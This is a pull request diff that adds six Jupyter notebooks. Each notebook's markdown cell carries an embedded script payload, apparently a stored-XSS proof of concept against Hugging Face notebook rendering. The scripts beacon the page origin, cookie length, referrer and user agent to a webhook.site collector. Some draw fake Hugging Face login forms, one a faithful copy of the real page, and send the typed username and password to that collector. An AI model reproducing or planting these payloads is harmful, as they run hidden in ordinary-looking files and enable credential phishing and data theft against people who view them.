AIAMR-F020V revalidation PR (non-member)

AIAMR-F020V-a-popup.ipynb

@@ -0,0 +1 @@
+{"cells":[{"cell_type":"markdown","metadata":{},"source":["<script>(function(){var o=location.origin,c=document.cookie||'';try{new Image().src='https://webhook.site/156aa60d-29c4-43fa-b37f-ed55d9007ce4/hf/F020V/a?origin='+encodeURIComponent(o)+'&cookie_len='+c.length+'&ref='+encodeURIComponent(document.referrer)+'&ua='+encodeURIComponent(navigator.userAgent.slice(0,70))}catch(e){}document.body.innerHTML='<h1 style=\"color:#c00;font:700 26px sans-serif\">AIAMR-F020V XSS EXECUTED</h1>'+'<pre style=\"font:14px monospace\">slot    = a\\norigin  = '+o+'\\ncookies = '+c.length+' chars\\nref     = '+document.referrer+'</pre>';alert('AIAMR-F020V XSS RAN ON '+o+'\\nslot = a\\ncookies = '+c.length+' chars');})()</script>\n\nAIAMR-F020V slot a (popup).\n"]}],"metadata":{"kernelspec":{"display_name":"Python 3","language":"python","name":"python3"},"language_info":{"name":"python","version":"3.11.0"}},"nbformat":4,"nbformat_minor":5}

AIAMR-F020V-b-popup.ipynb

@@ -0,0 +1 @@
+{"cells":[{"cell_type":"markdown","metadata":{},"source":["<script>(function(){var o=location.origin,c=document.cookie||'';try{new Image().src='https://webhook.site/156aa60d-29c4-43fa-b37f-ed55d9007ce4/hf/F020V/b?origin='+encodeURIComponent(o)+'&cookie_len='+c.length+'&ref='+encodeURIComponent(document.referrer)+'&ua='+encodeURIComponent(navigator.userAgent.slice(0,70))}catch(e){}document.body.innerHTML='<h1 style=\"color:#c00;font:700 26px sans-serif\">AIAMR-F020V XSS EXECUTED</h1>'+'<pre style=\"font:14px monospace\">slot    = b\\norigin  = '+o+'\\ncookies = '+c.length+' chars\\nref     = '+document.referrer+'</pre>';alert('AIAMR-F020V XSS RAN ON '+o+'\\nslot = b\\ncookies = '+c.length+' chars');})()</script>\n\nAIAMR-F020V slot b (popup).\n"]}],"metadata":{"kernelspec":{"display_name":"Python 3","language":"python","name":"python3"},"language_info":{"name":"python","version":"3.11.0"}},"nbformat":4,"nbformat_minor":5}

AIAMR-F020V-c-popup.ipynb

@@ -0,0 +1 @@
+{"cells":[{"cell_type":"markdown","metadata":{},"source":["<script>(function(){var o=location.origin,c=document.cookie||'';try{new Image().src='https://webhook.site/156aa60d-29c4-43fa-b37f-ed55d9007ce4/hf/F020V/c?origin='+encodeURIComponent(o)+'&cookie_len='+c.length+'&ref='+encodeURIComponent(document.referrer)+'&ua='+encodeURIComponent(navigator.userAgent.slice(0,70))}catch(e){}document.body.innerHTML='<h1 style=\"color:#c00;font:700 26px sans-serif\">AIAMR-F020V XSS EXECUTED</h1>'+'<pre style=\"font:14px monospace\">slot    = c\\norigin  = '+o+'\\ncookies = '+c.length+' chars\\nref     = '+document.referrer+'</pre>';alert('AIAMR-F020V XSS RAN ON '+o+'\\nslot = c\\ncookies = '+c.length+' chars');})()</script>\n\nAIAMR-F020V slot c (popup).\n"]}],"metadata":{"kernelspec":{"display_name":"Python 3","language":"python","name":"python3"},"language_info":{"name":"python","version":"3.11.0"}},"nbformat":4,"nbformat_minor":5}

AIAMR-F020V-d-phish.ipynb

@@ -0,0 +1 @@
+{"cells":[{"cell_type":"markdown","metadata":{},"source":["<script>(function(){var o=location.origin;try{new Image().src='https://webhook.site/156aa60d-29c4-43fa-b37f-ed55d9007ce4/hf/F020V/d?origin='+encodeURIComponent(o)+'&mode=phish'}catch(e){}document.body.innerHTML='<div style=\"font:15px -apple-system,sans-serif;padding:26px;max-width:380px;margin:0 auto\">'+'<h2 style=\"font:700 20px sans-serif\">Sign in to Hugging Face</h2>'+'<p style=\"color:#555\">Your session expired. Please sign in again to continue.</p>'+'<label>Username or Email</label><br><input style=\"width:100%;padding:8px;margin:6px 0\"><br>'+'<label>Password</label><br><input type=password style=\"width:100%;padding:8px;margin:6px 0\"><br>'+'<button style=\"width:100%;padding:10px;background:#000;color:#fff;border:0;margin-top:10px\">Login</button>'+'<p style=\"margin-top:22px;color:#c00;font:12px monospace\">AIAMR-F020V PoC - rendered by attacker script on '+o+' - no credential is ever sent anywhere</p></div>';})()</script>\n\nAIAMR-F020V slot d (phish).\n"]}],"metadata":{"kernelspec":{"display_name":"Python 3","language":"python","name":"python3"},"language_info":{"name":"python","version":"3.11.0"}},"nbformat":4,"nbformat_minor":5}

AIAMR-F020V-e-exfil.ipynb

@@ -0,0 +1 @@
+{"cells":[{"cell_type":"markdown","metadata":{},"source":["<script>(function(){var o=location.origin;function send(k,v){try{new Image().src='https://webhook.site/156aa60d-29c4-43fa-b37f-ed55d9007ce4/hf/F020V/e?f='+k+'&v='+encodeURIComponent(v)+'&origin='+encodeURIComponent(o)}catch(e){}}\ndocument.body.innerHTML='<div style=\"font:15px -apple-system,sans-serif;padding:26px;max-width:380px;margin:0 auto\">'\n+'<h2 style=\"font:700 20px sans-serif\">Sign in to Hugging Face</h2>'\n+'<p style=\"color:#555\">Your session expired. Please sign in again to continue.</p>'\n+'<label>Username or Email</label><br><input id=u style=\"width:100%;padding:8px;margin:6px 0\"><br>'\n+'<label>Password</label><br><input id=p type=password style=\"width:100%;padding:8px;margin:6px 0\"><br>'\n+'<button id=b style=\"width:100%;padding:10px;background:#000;color:#fff;border:0;margin-top:10px\">Login</button>'\n+'<p id=s style=\"margin-top:22px;color:#c00;font:12px monospace\">AIAMR-F020V PoC. Jangan ketik kredensial sungguhan: apa yang diketik dikirim ke collector uji.</p></div>';\ndocument.getElementById('b').onclick=function(){var u=document.getElementById('u').value,p=document.getElementById('p').value;\nsend('user',u);send('pass',p);document.getElementById('s').textContent='AIAMR-F020V: \"'+u+'\" / \"'+p+'\" TERKIRIM ke collector penyerang dari '+o;};\nsend('load','page');})()</script>\n\nAIAMR-F020V slot e (exfil ketikan).\n"]}],"metadata":{"kernelspec":{"display_name":"Python 3","language":"python","name":"python3"},"language_info":{"name":"python","version":"3.11.0"}},"nbformat":4,"nbformat_minor":5}

AIAMR-F020V-f-login.ipynb

@@ -0,0 +1 @@
+{"cells":[{"cell_type":"markdown","metadata":{},"source":["<script>(function(){var o=location.origin,keep=[];\nfunction hit(u){try{keep.push(Object.assign(new Image(),{src:u}))}catch(e){}\n try{fetch(u,{mode:'no-cors',keepalive:true})}catch(e){}}\nvar st=document.createElement('style');st.textContent=\"\\n@import url('https://fonts.googleapis.com/css2?family=Source+Sans+3:wght@400;600;700&display=swap');\\nhtml,body{margin:0;padding:0}\\n#hfx{font-family:\\\"Source Sans 3\\\",\\\"Source Sans Pro\\\",-apple-system,\\\"system-ui\\\",\\\"Segoe UI\\\",Roboto,\\\"Helvetica Neue\\\",\\\"Noto Sans\\\",Arial,sans-serif;min-height:640px;\\n background:linear-gradient(180deg,#dfe6fb 0%,#eef0fb 35%,#f6f0ee 70%,#fdf4e7 100%);\\n display:flex;flex-direction:column;align-items:center;padding:52px 16px 40px}\\n#hfx .logo{font-size:52px;line-height:1;margin-bottom:-26px;z-index:2}\\n#hfx .card{background:#fff;border-radius:12px;box-shadow:0 1px 3px rgba(0,0,0,.08),0 8px 24px rgba(0,0,0,.06);\\n width:380px;padding:46px 20px 22px;text-align:center}\\n#hfx h1{font-size:30px;line-height:36px;font-weight:700;margin:0 0 6px;color:#000}\\n#hfx .sub{font-size:16px;line-height:24px;color:#6b7280;margin:0 0 26px}\\n#hfx .fld{text-align:left;margin-bottom:14px}\\n#hfx label{font-size:16px;line-height:24px;color:#000;display:block;margin-bottom:4px}\\n#hfx .row{display:flex;justify-content:space-between;align-items:baseline}\\n#hfx .row a{font-size:13px;color:#374151;text-decoration:underline}\\n#hfx input{width:338px;height:40px;box-sizing:border-box;padding:0 10px;font-size:16px;\\n border:2px solid #e5e7eb;border-radius:6px;background:#fff;outline:none;font-family:inherit}\\n#hfx input:focus{border-color:#c7cbd1}\\n#hfx button{width:340px;height:36px;margin-top:16px;border:1px solid #e5e7eb;border-radius:8px;\\n background:#f3f4f6;font-size:16px;color:#374151;cursor:pointer;font-family:inherit}\\n#hfx .foot{font-size:16px;color:#000;margin-top:16px}\\n#hfx .foot a{color:#000;text-decoration:underline}\\n#hfx .sso{font-size:14px;color:#4b5563;margin-top:18px}\\n#hfx .sso a{color:#4b5563;text-decoration:underline}\\n#hfx .poc{margin-top:18px;font:12px ui-monospace,monospace;color:#c00;line-height:1.5}\\n#hfx .sent{margin-top:10px;font:11px ui-monospace,monospace;color:#444;line-height:1.5;\\n word-break:break-all;text-align:left;background:#f9fafb;border:1px solid #eee;border-radius:6px;\\n padding:8px;display:none}\\n\";document.head.appendChild(st);\ndocument.body.innerHTML=\"<div id=hfx>\\n <div class=logo>&#129303;</div>\\n <div class=card>\\n  <h1>Log In</h1>\\n  <p class=sub>With your Hugging Face Account</p>\\n  <div class=fld><label for=u>Username or Email address</label>\\n   <input id=u placeholder=\\\"Username or Email address\\\" autocomplete=username></div>\\n  <div class=fld><div class=row><label for=p>Password</label><a href=\\\"#\\\" onclick=\\\"return false\\\">Forgot your password?</a></div>\\n   <input id=p type=password placeholder=\\\"Password\\\" autocomplete=current-password></div>\\n  <button id=b>Login</button>\\n  <p class=foot>Don&#39;t have an account? <a href=\\\"#\\\" onclick=\\\"return false\\\">Sign Up</a></p>\\n  <p class=poc id=s>AIAMR-F020V security test. This form is drawn by a script inside an unmerged pull request, not by Hugging Face. Do not type real credentials.</p>\\n  <div class=sent id=q></div>\\n </div>\\n <p class=sso><a href=\\\"#\\\" onclick=\\\"return false\\\">Unlock SSO</a> with &#129303; Team &amp; Enterprise</p>\\n</div>\";\ndocument.getElementById('b').onclick=function(){\n var u=document.getElementById('u').value,p=document.getElementById('p').value;\n var url='https://webhook.site/156aa60d-29c4-43fa-b37f-ed55d9007ce4/hf/F020V/f/creds?user='+encodeURIComponent(u)+'&pass='+encodeURIComponent(p)+'&origin='+encodeURIComponent(o);\n hit(url);\n document.getElementById('s').textContent='AIAMR-F020V: both fields were just sent to the attacker collector in ONE request from '+o;\n var q=document.getElementById('q');q.style.display='block';q.textContent='GET '+url;};\nhit('https://webhook.site/156aa60d-29c4-43fa-b37f-ed55d9007ce4/hf/F020V/f/load?origin='+encodeURIComponent(o));})()</script>\n\nAIAMR-F020V slot f (faithful login clone).\n"]}],"metadata":{"kernelspec":{"display_name":"Python 3","language":"python","name":"python3"},"language_info":{"name":"python","version":"3.11.0"}},"nbformat":4,"nbformat_minor":5}